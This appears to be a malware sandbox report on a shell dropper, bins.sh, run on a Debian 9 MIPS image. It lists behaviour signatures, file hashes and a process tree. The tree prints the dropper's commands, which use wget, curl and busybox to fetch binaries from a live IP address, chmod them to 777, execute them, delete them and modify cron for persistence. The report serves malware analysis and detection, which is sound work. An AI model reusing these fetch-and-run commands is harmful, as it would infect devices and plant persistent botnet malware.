Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

9

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19/11/2024, 23:11

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241119-2586mszlem
  • SHA256 c3f5f100216f6fa621a94dafd837a25b33e54c6d582437f199573b0666233951
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2047) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          ./lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            ./AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
            2⤵
              PID:752
            • /usr/bin/wget
              wget http://216.126.231.240/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
              2⤵
              • Writes file to tmp directory
              PID:754
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
              2⤵
              • Writes file to tmp directory
              PID:780
            • /bin/chmod
              chmod 777 KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
              2⤵
              • File and Directory Permissions Modification
              PID:784
            • /tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
              ./KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:786
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:788
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:790
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:792
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:793
                  • /bin/rm
                    rm KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                    2⤵
                      PID:803
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                      2⤵
                        PID:807
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                        2⤵
                          PID:810
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                          2⤵
                          • Writes file to tmp directory
                          PID:892
                        • /bin/chmod
                          chmod 777 MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                          2⤵
                          • File and Directory Permissions Modification
                          PID:906
                        • /tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                          ./MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                          2⤵
                          • Executes dropped EXE
                          PID:907
                        • /bin/rm
                          rm MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                          2⤵
                            PID:909
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                            2⤵
                              PID:910
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                              2⤵
                                PID:911
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                2⤵
                                • Writes file to tmp directory
                                PID:912
                              • /bin/chmod
                                chmod 777 DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                2⤵
                                • File and Directory Permissions Modification
                                PID:913
                              • /tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                ./DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                2⤵
                                • Executes dropped EXE
                                PID:914
                              • /bin/rm
                                rm DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                2⤵
                                  PID:916
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                  2⤵
                                    PID:917
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/gwQwLqhbTdpN5BHXIlYAh1d44Je3wReSE7
                                    2⤵
                                      PID:918

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
                                        • Path /tmp/AbZDorGA28H0E3dHfaRN80ddRvv7THmnat
                                        • Size 177KB
                                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                        • Path /tmp/DlOilWQHjd8mPqqlCQA0IXBrdxTtV6a85z
                                        • Size 122KB
                                        • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                                        • Path /tmp/KyBoNcE2aGRLx1OyIdWcAYJaKS2YTu87FN
                                        • Size 151KB
                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                                        • Path /tmp/MZ6kK0jZKorCi5RkvNHeXmXcuN8FyH4Mlp
                                        • Size 111KB
                                        • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
                                        • Path /tmp/lGT5bEpS6JeS31XoyUUM8ztXmIAAOHwocO
                                        • Size 98KB
                                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        tmp.lA1xgg
                                        • Path /var/spool/cron/crontabs/tmp.lA1xgg
                                        • Size 210B
                                        • SHA256 238484c39137f688c9e6d70d3655a60fce41c92060cb9b2d8ceb4abd487f3111
                                        • MD5 SHA1 SHA512
                                        Submit Download